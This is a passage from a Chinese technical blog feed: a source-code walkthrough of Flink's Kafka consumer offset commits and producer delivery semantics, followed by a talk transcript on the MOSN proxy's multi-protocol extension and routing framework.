        offset 的提交

        ■ 自动提交

        这种方式完全依靠 kafka 自身的特性进行提交,如下方式指定参数即可:

        Properties properties = new Properties();
        properties.put("enable.auto.commit", "true");
        properties.setProperty("auto.commit.interval.ms", "1000");
        new FlinkKafkaConsumer<>("foo", new KafkaEventSchema(), properties)

        ■ 非自动提交

        通过上面的分析,如果 enable.auto.commit=false,那么 offsetCommitMode 就是 DISABLED 。

        kafka 官方文档中,提到当 enable.auto.commit=false 时候需要手动提交 offset,也就是需要调用 consumer.commitSync(); 方法提交。

        但是在 flink 中,非 checkpoint 模式下,不会调用 consumer.commitSync();, 一旦关闭自动提交,意味着 kafka 不知道当前的 consumer group 每次消费到了哪。

        可以从两方面证实这个问题:

        • 源码
          KafkaConsumerThread#run 方法中是有 consumer.commitSync();,但是只有当 commitOffsetsAndCallback != null 的时候才会调用。只有开启了checkpoint 功能才会不为 null,这个变量会在后续的文章中详细分析。
        • 测试
          可以通过消费 __consumer_offsets 观察是否有 offset 的提交

        重启程序,还是会重复消费之前消费过的数据

        小结:本节介绍了在非 checkpoint 模式下,Flink kafka source 提交 offset 的方式,下文会重点介绍 checkpoint 模式下提交 offset 的流程。

        checkpoint 模式下 offset 的提交

        上面介绍了在没有开启 checkpoint 的时候,offset 的提交方式,下面将重点介绍开启 checkpoint 后,Flink kafka consumer 提交 offset 的方式。

        初始化 offsetCommitMode

        通过上文可以知道,当调用了 env.enableCheckpointing 方法后 offsetCommitMode 的值就是 ON_CHECKPOINTS,而且会通过下面方法强制关闭 kafka 自动提交功能,这个值很重要,后续很多地方都是根据这个值去判断如何操作的。

        /**
         * Make sure that auto commit is disabled when our offset commit mode is ON_CHECKPOINTS.
         * This overwrites whatever setting the user configured in the properties.
         * @param properties - Kafka configuration properties to be adjusted
         * @param offsetCommitMode offset commit mode
         */
        static void adjustAutoCommitConfig(Properties properties, OffsetCommitMode offsetCommitMode) {
           if (offsetCommitMode == OffsetCommitMode.ON_CHECKPOINTS || offsetCommitMode == OffsetCommitMode.DISABLED) {
              properties.setProperty(ConsumerConfig.ENABLE_AUTO_COMMIT_CONFIG, "false");
           }
        }

        保存 offset

        在做 checkpoint 的时候会调用 FlinkKafkaConsumerBase#snapshotState 方法,其中 pendingOffsetsToCommit 会保存要提交的 offset。

        if (offsetCommitMode == OffsetCommitMode.ON_CHECKPOINTS) {
           // the map cannot be asynchronously updated, because only one checkpoint call can happen
           // on this function at a time: either snapshotState() or notifyCheckpointComplete()
           pendingOffsetsToCommit.put(context.getCheckpointId(), currentOffsets);
        }

        同时,下面的变量会作为 checkpoint 的一部分保存下来,以便恢复时使用。

        /** Accessor for state in the operator state backend. */
        private transient ListState<Tuple2<KafkaTopicPartition, Long>> unionOffsetStates;
        
        在 snapshotState 方法中会同时保存 offset:
        
        for (Map.Entry<KafkaTopicPartition, Long> subscribedPartition : subscribedPartitionsToStartOffsets.entrySet()) {
            unionOffsetStates.add(Tuple2.of(subscribedPartition.getKey(), subscribedPartition.getValue()));
        }

        提交 offset

        在 checkpoint 完成以后,task 会调用 notifyCheckpointComplete 方法,里面判断 offsetCommitMode == OffsetCommitMode.ON_CHECKPOINTS 的时候,调用fetcher.commitInternalOffsetsToKafka(offsets, offsetCommitCallback); 方法,最终会将要提交的 offset 通过 KafkaFetcher#doCommitInternalOffsetsToKafka 方法中的 consumerThread.setOffsetsToCommit(offsetsToCommit, commitCallback); 保存到 KafkaConsumerThread.java 中的 nextOffsetsToCommit 成员变量里面。

        这样就会保证当有需要提交的 offset 的时候,下面代码会执行 consumer.commitAsync,从而完成了手动提交 offset 到 kafka。

        final Tuple2<Map<TopicPartition, OffsetAndMetadata>, KafkaCommitCallback> commitOffsetsAndCallback = nextOffsetsToCommit.getAndSet(null);
        
        if (commitOffsetsAndCallback != null) {
          log.debug("Sending async offset commit request to Kafka broker");
        
          // also record that a commit is already in progress
          // the order here matters! first set the flag, then send the commit command.
          commitInProgress = true;
          consumer.commitAsync(commitOffsetsAndCallback.f0, new CommitCallback(commitOffsetsAndCallback.f1));
        }

        小结:本节介绍了在 checkpoint 模式下,Flink kafka source 提交 offset 的方式,后续会介绍 consumer 读取 offset 的流程。

        指定 offset 消费

        消费模式

        在 Flink 的 kafka source 中有以下5种模式指定 offset 消费:

        public enum StartupMode {
        
           /** Start from committed offsets in ZK / Kafka brokers of a specific consumer group (default). */
           GROUP_OFFSETS(KafkaTopicPartitionStateSentinel.GROUP_OFFSET),
        
           /** Start from the earliest offset possible. */
           EARLIEST(KafkaTopicPartitionStateSentinel.EARLIEST_OFFSET),
        
           /** Start from the latest offset. */
           LATEST(KafkaTopicPartitionStateSentinel.LATEST_OFFSET),
        
           /**
            * Start from user-supplied timestamp for each partition.
            * Since this mode will have specific offsets to start with, we do not need a sentinel value;
            * using Long.MIN_VALUE as a placeholder.
            */
           TIMESTAMP(Long.MIN_VALUE),
        
           /**
            * Start from user-supplied specific offsets for each partition.
            * Since this mode will have specific offsets to start with, we do not need a sentinel value;
            * using Long.MIN_VALUE as a placeholder.
            */
           SPECIFIC_OFFSETS(Long.MIN_VALUE);
        }

        默认为 GROUP_OFFSETS,表示根据上一次 group id 提交的 offset 位置开始消费。每个枚举的值其实是一个 long 型的负数,根据不同的模式,在每个 partition 初始化的时候会默认将 offset 设置为这个负数。其他的方式和 kafka 本身的语义类似,就不在赘述。

        指定 offset

        此处只讨论默认的 GROUP_OFFSETS 方式,下文所有分析都是基于这种模式。但是还是需要区分是否开启了 checkpoint。在开始分析之前需要对几个重要的变量进行说明:

        • subscribedPartitionsToStartOffsets

          • 所属类:FlinkKafkaConsumerBase.java
          • 定义:
        /** The set of topic partitions that the source will read, with their initial offsets to start reading from. */
        private Map<KafkaTopicPartition, Long> subscribedPartitionsToSt

        说明:保存订阅 topic 的所有 partition 以及初始消费的 offset。

        • subscribedPartitionStates

          • 所属类:AbstractFetcher.java
          • 定义:
        /** All partitions (and their state) that this fetcher is subscribed to. */
        private final List<KafkaTopicPartitionState<KPH>> subscribedPar

        说明:保存了所有订阅的 partition 的 offset 等详细信息,例如:

        /** The offset within the Kafka partition that we already processed. */
        private volatile long offset;
        /** The offset of the Kafka partition that has been committed. */
        private volatile long committedOffset;

        每次消费完数据之后都会更新这些值,这个变量非常的重要,在做 checkpoint 的时候,保存的 offset 等信息都是来自于这个变量。这个变量的初始化如下:

        // initialize subscribed partition states with seed partitions
        this.subscribedPartitionStates = createPartitionStateHolders(
          seedPartitionsWithInitialOffsets,
          timestampWatermarkMode,
          watermarksPeriodic,
          watermarksPunctuated,
          userCodeClassLoader);

        消费之后更新相应的 offset 主要在 KafkaFetcher#runFetchLoop
        方法 while 循环中调用 emitRecord(value, partition, record.
        offset(), record);。

        • restoredState

          • 所属类:FlinkKafkaConsumerBase.java
          • 定义:
        /**
             * The offsets to restore to, if the consumer restores state from a checkpoint.
             *
             * <p>This map will be populated by the {@link #initializeState(FunctionInitializationContext)} method.
             *
             * <p>Using a sorted map as the ordering is important when using restored state
             * to seed the partition discoverer.
             */
        private transient volatile TreeMap<KafkaTopicPartition, Long> restoredState;

        说明:如果指定了恢复的 checkpoint 路径,启动时候将会读取这个变量里面的内容获取起始 offset,而不再是使用 StartupMode 中的枚举值作为初始的 offset。

        • unionOffsetStates

          • 所属类:FlinkKafkaConsumerBase.java
          • 定义:
        /** Accessor for state in the operator state backend. */
        private transient ListState<Tuple2<KafkaTopicPartition, Long>> unionOffsetStates;

        说明:保存了 checkpoint 要持久化存储的内容,例如每个 partition 已经消费的 offset 等信息

        ■ 非 checkpoint 模式

        在没有开启 checkpoint 的时候,消费 kafka 中的数据,其实就是完全依靠 kafka 自身的机制进行消费。

        ■ checkpoint 模式

        开启 checkpoint 模式以后,会将 offset 等信息持久化存储以便恢复时使用。但是作业重启以后如果由于某种原因读不到 checkpoint 的结果,例如 checkpoint 文件丢失或者没有指定恢复路径等。

        • 第一种情况,如果读取不到 checkpoint 的内容

        subscribedPartitionsToStartOffsets 会初始化所有 partition 的起始 offset为 -915623761773L 这个值就表示了当前为 GROUP_OFFSETS 模式。

        default:
           for (KafkaTopicPartition seedPartition : allPartitions) {
              subscribedPartitionsToStartOffsets.put(seedPartition, startupMode.getStateSentinel());
           }

        第一次消费之前,指定读取 offset 位置的关键方法是 KafkaConsumerThread#reassignPartitions 代码片段如下:

        for (KafkaTopicPartitionState<TopicPartition> newPartitionState : newPartitions) {
          if (newPartitionState.getOffset() == KafkaTopicPartitionStateSentinel.EARLIEST_OFFSET) {
            consumerTmp.seekToBeginning(Collections.singletonList(newPartitionState.getKafkaPartitionHandle()));
            newPartitionState.setOffset(consumerTmp.position(newPartitionState.getKafkaPartitionHandle()) - 1);
          } else if (newPartitionState.getOffset() == KafkaTopicPartitionStateSentinel.LATEST_OFFSET) {
            consumerTmp.seekToEnd(Collections.singletonList(newPartitionState.getKafkaPartitionHandle()));
            newPartitionState.setOffset(consumerTmp.position(newPartitionState.getKafkaPartitionHandle()) - 1);
          } else if (newPartitionState.getOffset() == KafkaTopicPartitionStateSentinel.GROUP_OFFSET) {
            // the KafkaConsumer by default will automatically seek the consumer position
            // to the committed group offset, so we do not need to do it.
            newPartitionState.setOffset(consumerTmp.position(newPartitionState.getKafkaPartitionHandle()) - 1);
          } else {
            consumerTmp.seek(newPartitionState.getKafkaPartitionHandle(), newPartitionState.getOffset() + 1);
          }
        }

        因为是 GROUP_OFFSET 模式 ,所以会调用 newPartitionState.setOffset(consumerTmp.position(newPartitionState.getKafkaPartitionHandle()) - 1); 需要说明的是,在 state 里面需要存储的是成功消费的最后一条数据的 offset,但是通过 position 这个方法返回的是下一次应该消费的起始 offset,所以需要减1。这里更新这个的目的是为了 checkpoint 的时候可以正确的拿到 offset。

        这种情况由于读取不到上次 checkpoint 的结果,所以依旧是依靠 kafka 自身的机制,即根据__consumer_offsets 记录的内容消费。

        • 第二种情况,checkpoint 可以读取到

        这种情况下, subscribedPartitionsToStartOffsets 初始的 offset 就是具体从checkpoint 中恢复的内容,这样 KafkaConsumerThread#reassignPartitions 实际走的分支就是:

        consumerTmp.seek(newPartitionState.getKafkaPartitionHandle(), newPartitionState.getOffset() + 1);

        这里加1的原理同上,state 保存的是最后一次成功消费数据的 offset,所以加1才是现在需要开始消费的 offset。

        小结:本节介绍了程序启动时,如何确定从哪个 offset 开始消费,下文会继续分析 flink kafka sink 的相关源码。

        2.Flink-kafka-sink 源码解析

        初始化

        通常添加一个 kafka sink 的代码如下:

        input.addSink(
           new FlinkKafkaProducer<>(
              "bar",
              new KafkaSerializationSchemaImpl(),
                 properties,
              FlinkKafkaProducer.Semantic.AT_LEAST_ONCE)).name("Example Sink");

        初始化执行 env.addSink 的时候会创建 StreamSink 对象,即 StreamSink sinkOperator = new StreamSink<>(clean(sinkFunction));这里的 sinkFunction 就是传入的 FlinkKafkaProducer 对象,StreamSink 构造函数中将这个对象传给父类 AbstractUdfStreamOperator 的 userFunction 变量,源码如下:

        ■ StreamSink.java

        public StreamSink(SinkFunction<IN> sinkFunction) {
          super(sinkFunction);
          chainingStrategy = ChainingStrategy.ALWAYS;
        }

        ■ AbstractUdfStreamOperator.java

        public AbstractUdfStreamOperator(F userFunction) {
           this.userFunction = requireNonNull(userFunction);
           checkUdfCheckpointingPreconditions();
        }

        Task 运行

        StreamSink 会调用下面的方法发送数据:

        @Override
        public void processElement(StreamRecord<IN> element) throws Exception {
           sinkContext.element = element;
           userFunction.invoke(element.getValue(), sinkContext);
        }

        也就是实际调用的是 FlinkKafkaProducer#invoke 方法。在 FlinkKafkaProducer 的构造函数中需要指 FlinkKafkaProducer.Semantic,即:

        public enum Semantic {
           EXACTLY_ONCE,
           AT_LEAST_ONCE,
           NONE
        }

        下面就基于3种语义分别说一下总体的向 kafka 发送数据的流程。

        ■ Semantic.NONE

        这种方式不会做任何额外的操作,完全依靠 kafka producer 自身的特性,也就是FlinkKafkaProducer#invoke 里面发送数据之后,Flink 不会再考虑 kafka 是否已经正确的收到数据。

        transaction.producer.send(record, callback);

        ■ Semantic.AT_LEAST_ONCE

        这种语义下,除了会走上面说到的发送数据的流程外,如果开启了 checkpoint 功能,在 FlinkKafkaProducer#snapshotState 中会首先执行父类的 snapshotState方法,里面最终会执行 FlinkKafkaProducer#preCommit。

        @Override
        protected void preCommit(FlinkKafkaProducer.KafkaTransactionState transaction) throws FlinkKafkaException {
           switch (semantic) {
              case EXACTLY_ONCE:
              case AT_LEAST_ONCE:
                 flush(transaction);
                 break;
              case NONE:
                 break;
              default:
                 throw new UnsupportedOperationException("Not implemented semantic");
           }
           checkErroneous();
        }

        AT_LEAST_ONCE 会执行了 flush 方法,里面执行了:

        transaction.producer.flush();

        就是将 send 的数据立即发送给 kafka 服务端,详细含义可以参考 KafkaProducer api:
        http://kafka.apache.org/23/javadoc/index.html?org/apache/kafka/clients/producer/KafkaProducer.html

        flush()
        Invoking this method makes all buffered records immediately available to send (even if linger.ms is greater than 0) and blocks on the completion of the requests associated with these records.

        ■ Semantic.EXACTLY_ONCE

        EXACTLY_ONCE 语义也会执行 send 和 flush 方法,但是同时会开启 kafka producer 的事务机制。FlinkKafkaProducer 中 beginTransaction 的源码如下,可以看到只有是 EXACTLY_ONCE 模式才会真正开始一个事务。

        @Override
        protected FlinkKafkaProducer.KafkaTransactionState beginTransaction() throws FlinkKafkaException {
           switch (semantic) {
              case EXACTLY_ONCE:
                 FlinkKafkaInternalProducer<byte[], byte[]> producer = createTransactionalProducer();
                 producer.beginTransaction();
                 return new FlinkKafkaProducer.KafkaTransactionState(producer.getTransactionalId(), producer);
              case AT_LEAST_ONCE:
              case NONE:
                 // Do not create new producer on each beginTransaction() if it is not necessary
                 final FlinkKafkaProducer.KafkaTransactionState currentTransaction = currentTransaction();
                 if (currentTransaction != null && currentTransaction.producer != null) {
                    return new FlinkKafkaProducer.KafkaTransactionState(currentTransaction.producer);
                 }
                 return new FlinkKafkaProducer.KafkaTransactionState(initNonTransactionalProducer(true));
              default:
                 throw new UnsupportedOperationException("Not implemented semantic");
           }
        }

        和 AT_LEAST_ONCE 另一个不同的地方在于 checkpoint 的时候,会将事务相关信息保存到变量 nextTransactionalIdHintState 中,这个变量存储的信息会作为 checkpoint 中的一部分进行持久化。

        if (getRuntimeContext().getIndexOfThisSubtask() == 0 && semantic == FlinkKafkaProducer.Semantic.EXACTLY_ONCE) {
           checkState(nextTransactionalIdHint != null, "nextTransactionalIdHint must be set for EXACTLY_ONCE");
           long nextFreeTransactionalId = nextTransactionalIdHint.nextFreeTransactionalId;
        
           // If we scaled up, some (unknown) subtask must have created new transactional ids from scratch. In that
           // case we adjust nextFreeTransactionalId by the range of transactionalIds that could be used for this
           // scaling up.
           if (getRuntimeContext().getNumberOfParallelSubtasks() > nextTransactionalIdHint.lastParallelism) {
              nextFreeTransactionalId += getRuntimeContext().getNumberOfParallelSubtasks() * kafkaProducersPoolSize;
           }
        
           nextTransactionalIdHintState.add(new FlinkKafkaProducer.NextTransactionalIdHint(
              getRuntimeContext().getNumberOfParallelSubtasks(),
              nextFreeTransactionalId));
        }

        小结:本节介绍了 Flink Kafka Producer 的基本实现原理,后续会详细介绍 Flink 在结合 kafka 的时候如何做到端到端的 Exactly Once 语义的。

        作者介绍:

        吴鹏,亚信科技资深工程师,Apache Flink Contributor。先后就职于中兴,IBM,华为。目前在亚信科技负责实时流处理引擎产品的研发。

        ]]>
        云原生网络代理 MOSN 多协议机制解析 | SOFAChannel#13 直播整理 Fri, 02 May 2025 09:39:04 +0800

        ,有趣实用的分布式架构频道。
        回顾视频以及 PPT 查看地址见文末。欢迎加入直播互动钉钉群 : 21992058,不错过每场直播。
        本文根据 SOFAChannel#13 直播分享整理,主题:云原生网络代理 MOSN 多协议机制解析。

        image.png

        大家好,我是今天的讲师无钩,目前主要从事蚂蚁金服网络代理相关的研发工作,也是 MOSN 的 Committer。今天要和大家分享的是《云原生网络代理 MOSN 多协议机制解析》,并介绍对应的私有协议快速接入实践案例以及对 MOSN 实现多协议低成本接入的设计进行解读。

        我们将按以下顺序进行介绍:

        • 多协议机制产生的背景与实践痛点;
        • 常见的协议扩展思路初探;
        • SOFABolt 协议接入实践;(重点)
        • MOSN 多协议机制设计解读;(重点)
        • 后续规划及展望;

        其中第三点「接入实践」是今天分享的重点,希望能给大家就「如何在 MOSN 中快速扩展私有协议接入」有一个具体的感受。另外「MOSN 如何实现多协议框架」也是很多人关心和问题,我们将摘选几个技术功能,对其背后的设计思考进行解读。

        MOSN 简介

        image.png

        云原生网络代理 MOSN 定位是一个全栈的网络代理,支持包括网络接入层(Ingress)、API Gateway、Service Mesh 等场景,目前在蚂蚁金服内部的核心业务集群已经实现全面落地,并经受了 2019 年双十一大促的考验。今天要向大家介绍的是云原生网络代理 MOSN 核心特性之一的多协议扩展机制,目前已经支持了包括 SOFABolt、Dubbo、TARS 等多个协议的快速接入。

        MOSN:https://github.com/mosn

        多协议机制产生的背景与实践痛点

        首先介绍一下多协议机制产生的背景。

        image.png

        前面提到,蚂蚁金服 2019 年双十一核心链路百分之百 Mesh 化,是业界当时已知的最大规模的 Service Mesh 落地,为什么我们敢这么做?因为我们具备能够让架构平滑迁移的方案。"兼容性"是任何架构演进升级都必然要面对的一个问题,这在早已实践微服务化架构的蚂蚁金服内部同样如此。为了实现架构的平滑迁移,需要让新老节点的外在行为尽可能的表现一致,从而让依赖方无感知,这其中很重要的一点就是保持协议兼容性。

        因此,我们需要在 Service Mesh 架构下,兼容现有微服务体系中的通信协议——也就是说需要在 MOSN 内实现对目前蚂蚁金服内部通信协议的扩展支持。

        image.png

        基于 MOSN 本身的扩展机制,我们完成了最初版本的协议扩展接入。但是在实践过程中,我们发现这并不是一件容易的事情:

        • 相比编解码,协议自身的处理以及与框架集成才是其中最困难的环节,需要理解并实现包括请求生命周期、多路复用处理、链接池等等机制;
        • 社区主流的 xDS 路由配置是面向 HTTP 协议的,无法直接支持私有协议,存在适配成本;

        基于这些实践痛点,我们设计了 MOSN 多协议框架,希望可以降低私有协议的接入成本,加快普及 ServiceMesh 架构的落地推进。

        常见的协议扩展思路初探

        前面介绍了背景,那么具体协议扩展框架要怎么设计呢?我们先来看一下业界的思路与做法。

        协议扩展框架 - Envoy

        image.png
        注:图片来自 Envoy 分享资料

        第一个要介绍的是目前发展势头强劲的 Envoy。从图上可以看出,Envoy 支持四层的读写过滤器扩展、基于 HTTP 的七层读写过滤器扩展以及对应的 Router/Upstream 实现。如果想要基于 Envoy 的扩展框架实现 L7 协议接入,目前的普遍做法是基于 L4 filter 封装相应的 L7 codec,在此基础之上再实现对应的协议路由等能力,无法复用 HTTP L7 的扩展框架。 

        协议扩展框架 - Nginx

        image.png

        第二个则是老牌的反向代理软件 Nginx,其核心模块是基于 Epoll/Kqueue 等 I/O 多路复用技术之上的离散事件框架,基于事件框架之上构建了 Mail、Http 等协议模块。与 Envoy 类似,如果要基于 Nginx 扩展私有协议,那么也需要自行对接事件框架,并完整实现包括编解码、协议处理等能力。

        协议扩展框架 - MOSN

        image.png

        最后回过头来,我们看一下 MOSN 是怎么做的。实际上,MOSN 的底层机制与 Envoy、Nginx 并没有核心差异,同样支持基于 I/O 多路复用的 L4 读写过滤器扩展,并在此基础之上再封装 L7 的处理。但是与前两者不同的是,MOSN 针对典型的微服务通信场景,抽象出了一套适用于基于多路复用 RPC 协议的扩展框架,屏蔽了 MOSN 内部复杂的协议处理及框架流程,开发者只需要关注协议本身,并实现对应的框架接口能力即可实现快速接入扩展。

        三种框架成本对比

        图片 3.png

        最后对比一下,典型微服务通信框架协议接入的成本,由于 MOSN 针对此类场景进行了框架层面的封装支持,因此可以节省开发者大量的研发成本。

        SOFABolt 协议接入实践

        初步了解多协议框架的设计思路之后,让我们以 SOFABolt 协议为例来实际体验一下协议接入的过程。

        SOFABolt 简介

        image.png

        这里先对 SOFABolt 进行一个简单介绍,SOFABolt 是一个开源的轻量、易用、高性能、易扩展的  RPC 通信框架,广泛应用于蚂蚁金服内部。

        SOFABolt:https://github.com/sofastack/sofa-bolt

        基于 MOSN 的多协议框架,实际编写了 7 个代码文件,一共 925 行代码(包括 liscence、comment 在内)就完成了接入。如果对于协议本身较为熟悉,且具备一定的 MOSN/Golang 开发经验,甚至可以在一天内就完成整个协议的扩展,可以说接入成本是非常之低。

        image.png

        Github:
        https://github.com/mosn/mosn/tree/master/pkg/protocol/xprotocol/bolt

        下面让我们进入正题,一步一步了解接入过程。

        Step1:确认协议格式

        第一步,需要确认要接入的协议格式。为什么首先要做这个,因为协议格式是一个协议最基本的部分,有以下两个层面的考虑:

        • 任何协议特性以及协议功能都能在上面得到一些体现,例如有无 requestId/streamId 就直接关联到协议是否支持连接多路复用;
        • 协议格式与报文模型直接相关,两者可以构成逻辑上的映射关系;而这个映射关系也就是所谓的编解码逻辑;

        image.png

        以 SOFABolt 为例,其第一个字节是协议 magic,可以用于校验当前报文是否属于 SOFABolt 协议,并可以用于协议自动识别匹配的场景;第二个字节是 type,用于标识当前报文的传输类型,可以是 Request / RequestOneway / Response 中的一种;第三个字节则是当前报文的业务类型,可以是心跳帧,RPC 请求/响应等类型。后面的字段就不一一介绍了,可以发现,理解了协议格式本身,其实对于协议的特性支持和模型编解码就理解了一大半,因此第一步协议格式的确认了解是重中之重,是后续一切工作开展的前提。

        Step2:确认报文模型

        image.png

        顺应第一步,第二步的主要工作是确认报文编程模型。一般地,在第一步完成之后,应当可以很顺利的构建出相应的报文模型,SOFABolt 例子中可以看出,模型字段设计基本与协议格式中的 header / payload 两部分相对应。有了编程模型之后,就可以继续进行下一步——基于模型实现对应的框架扩展了。

        Step3:接口实现 - 协议

        image.png

        协议扩展,顾名思义,是指协议层面的扩展,描述的是协议自身的行为(区别于报文自身)。

        目前多协议框架提供的接口包括以下五个:

        • Name:协议名称,需要具备唯一性;
        • Encoder:编码器,用于实现从报文模型到协议传输字节流的映射转换;
        • Decoder:解码器,用于实现从协议传输字节流到报文模型的映射转换;
        • Heartbeater:心跳处理,用于实现心跳保活报文的构造,包括探测发起与回复两个场景;
        • Hijacker:错误劫持,用于在特定错误场景下错误报文的构造;

        Step3:接口实现 - 报文

        image.png

        前面介绍了协议扩展,接下里则是报文扩展,这里关注的是单个请求报文需要实现的行为。

        目前框架抽象的接口包括以下几个:

        • Basic:需要提供 GetStreamType、GetHeader、GetBody 几个基础方法,分别对应传输类型、头部信息、载荷信息;
        • Multiplexing:多路复用能力,需要实现 GetRequestId 及 SetRequestId;
        • HeartbeatPredicate:用于判断当前报文是否为心跳帧;
        • GoAwayPredicate:用于判断当前报文是否为优雅退出帧;
        • ServiceAware:用于从报文中获取 service、method 等服务信息;

        举个例子

        image.png

        这里举一个例子,来让大家对框架如何基于接口封装处理流程有一个体感:服务端心跳处理场景。当框架收到一个报文之后:

        • 根据报文扩展中的 GetStreamType 来确定当前报文是请求还是响应。如果是请求则继续 2;
        • 根据报文扩展中的 HeartbeatPredicate 来判断当前报文是否为心跳包,如果是则继续 3;
        • 当前报文是心跳探测(request + heartbeat),需要回复心跳响应,此时根据协议扩展中的 Heartbeater.Reply 方法构造对应的心跳响应报文;
        • 再根据协议扩展的 Encoder 实现,将心跳响应报文转换为传输字节流;
        • 最后调用 MOSN 网络层接口,将传输字节流回复给发起心跳探测的客户端;

        当协议扩展与报文扩展都实现之后,MOSN 协议扩展接入也就完成了,框架可以依据协议扩展的实现来完成协议的处理,让我们实际演示一下 SOFABolt 接入的 example。

        Demo 地址:https://github.com/mosn/mosn/tree/master/examples/codes/sofarpc-with-xprotocol-sample

        MOSN 多协议机制设计解读

        通过 SOFABolt 协议接入的实践过程,大家对如何基于 MOSN 来做协议扩展应该有了一个初步的认知。那么 MOSN 多协议机制究竟封装了哪些逻辑,背后又是如何思考设计的?接下来将会挑选几个典型技术案例为大家进行解读。

        协议扩展框架

        协议扩展框架 -  编解码

        image.png

        最先介绍的是编解码机制,这个在前面 SOFABolt 接入实践中已经简单介绍过,MOSN 定义了编码器及解码器接口来屏蔽不同协议的编解码细节。协议接入时只需要实现编解码接口,而不用关心相应的接口调用上下文。

        协议扩展框架 - 多路复用

        图片 1.png

        接下来是多路复用机制的解读,这也是流程中相对不太好理解的一部分。首先明确一下链接多路复用的定义:允许在单条链接上,并发处理多个请求/响应。那么支持多路复用有什么好处呢?

        以 HTTP 协议演进为例,HTTP/1 虽然可以维持长连接,但是单条链接同一时间只能处理一个请求/相应,这意味着如果同时收到了 4 个请求,那么需要建立四条 TCP 链接,而建链的成本相对来说比较高昂;HTTP/2 引入了 stream/frame 的概念,支持了分帧多路复用能力,在逻辑上可以区分出成对的请求 stream 和响应 stream,从而可以在单条链接上并发处理多个请求/响应,解决了 HTTP/1 链接数与并发数成正比的问题。

        类似的,典型的微服务框架通信协议,如 Dubbo、SOFABolt 等一般也都实现了链接多路复用能力,因此 MOSN 封装了相应的多路复用处理流程,来简化协议接入的成本。让我们跟随一个请求代理的过程,来进一步了解。

        图片 2.png

        1. MOSN 从 downstream(conn=2) 接收了一个请求 request,依据报文扩展多路复用接口 GetRequestId 获取到请求在这条连接上的身份标识(requestId=1),并记录到关联映射中待用;
        2. 请求经过 MOSN 的路由、负载均衡处理,选择了一个 upstream(conn=5),同时在这条链接上新建了一个请求流(requestId=30),并调用文扩展多路复用接口 SetRequestId 封装新的身份标识,并记录到关联映射中与 downstream 信息组合;
        3. MOSN 从 upstream(conn=5) 接收了一个响应 response,依据报文扩展多路复用接口 GetRequestId 获取到请求在这条连接上的身份标识(requestId=30)。此时可以从上下游关联映射表中,根据 upstream 信息(connId=5, requestId=30) 找到对应的 downstream 信息(connId=2, requestId=1);
        4. 依据 downstream request 的信息,调用文扩展多路复用接口 SetRequestId 设置响应的 requestId,并回复给 downstream;

        在整个过程中,框架流程依赖的报文扩展 Multiplexing 接口提供的能力,实现了上下游请求的多路复用关联处理,除此之外,框架还封装了很多细节的处理,例如上下游复用内存块合并处理等等,此处限于篇幅不再展开,有兴趣的同学可以参考源码进行阅读。

        统一路由框架

        image.png

        接下来要分析的是「统一路由框架」的设计,此方案主要解决的是非 HTTP 协议的路由适配问题。我们选取了以下三点进行具体分析:

        • 通过基于属性匹配(attribute-based)的模式,与具体协议字段解耦;
        • 引入层级路由的概念,解决属性扁平化后带来的线性匹配性能问题;
        • 通过变量机制懒加载的特定,按需实现深/浅解包;

        统一路由框架 – 基于属性匹配

        image.png

        首先来看一下典型的 RDS 配置,可以看到其中的 domains、path 等字段,对应的是 HTTP 协议里的域名、路径概念,这就意味着其匹配条件只有 HTTP 协议才有字段能够满足,配置结构设计是与 HTTP 协议强相关的。这就导致了如果我们新增了一个私有协议,无法复用 RDS 的配置来做路由。

        那么如何解决配置模型与协议字段强耦合呢?简单来说就是把匹配字段拆分为扁平属性的键值对(key-value pair),匹配策略基于键值对来处理,从而解除了匹配模型与协议字段的强耦合,例如可以配置 key: $http_host,也可以配置 key:$dubbo_service,这在配置模型层面都是合法的。

        但是这并不是说匹配就有具体协议无关了,这个关联仍然是存在的,只是从强耦合转换为了隐式关联,例如配置 key: $http_host,从结构来说其与 HTTP 协议并无耦合,但是值变量仍然会通过 HTTP 协议字段来进行求值。

        统一路由框架 -  层级路由

        image.png

        在引入「基于属性的匹配」之后,我们发现了一个问题,那就是由于属性本身的扁平化,其内在并不包含层级关系。如果没有层级关系,会导致匹配时需要遍历所有可能的情况组合,大量条件的场景下匹配性能近似于线性的 O(n),这显然是无法接受的。 

        举例来说,对于 HTTP 协议,我们总是习惯与以下的匹配步骤:

        • 匹配 Host(:authority) ;
        • 匹配 Path ;
        • 匹配 headers/args/cookies ;

        这其实构成了一个层级关系,每一层就像是一个索引,通过层级的索引关系,在大量匹配条件的情况下仍然可以获得一个可接受的耗时成本。但是对于属性(attribute),多个属性之间并没有天然的层级关系(相比于 host、path 这种字段),这依赖于属性背后所隐式关联的字段,例如对于 Dubbo 协议,我们希望的顺序可能是:

        • 匹配 $dubbo_service;
        • 匹配 $dubbo_group;
        • 匹配 $dubbo_version;
        • 匹配 $dubbo_attachments_xx;

        因此在配置模型上,我们引入了对应的索引层级概念,用于适配不同协议的结构化层级路由,解决扁平属性的线性匹配性能问题。

        统一路由框架 - 浅解包优化

        image.png

        最后,介绍一下浅解包优化的机制。利用 MOSN 变量懒加载的特性,我们可以在报文解析时,先不去解析成本较高的部分,例如 dubbo 协议的 attachments。那么在代理请求的实际过程中,需要使用到 attachments 里的信息时,就会通过变量的 getter 求值逻辑来进行真正的解包操作。依靠此特性,可以大幅优化在不需要深解包的场景下 dubbo 协议代理转发的性能表现,实现按需解包。

        解读总结

        最后,对设计部分的几个技术案例简单总结一下,整体的思路仍然是对处理流程进行抽象封装,并剥离可扩展点,从而降低用户的接入成本。

        在协议扩展支持方面:

        • 封装编解码流程,抽象编解码能力接口作为协议扩展点
        • 封装协议处理流程,抽象多路复用、心跳保活、优雅退出等能力接口作为协议扩展点

        在路由框架方面:

        • 通过改为基于属性匹配的机制,与具体协议字段解耦,支持多协议适配;
        • 引入层级路由机制,解决属性扁平化的匹配性能问题;
        • 利用变量机制懒加载特性,按需实现深/浅解包;

        后续规划及展望

        更多流模式支持、更多协议接入

        image.png

        当前 MOSN 多协议机制,已经可以比较好的支持像 Dubbo、SOFABolt 这样基于多路复用流模型的微服务协议,后续会继续扩展支持的类型及协议,例如经典的 PING-PONG 协议、Streaming 流式协议,也欢迎大家一起参与社区建设,贡献你的 PR。

        社区标准方案推进

        image.png

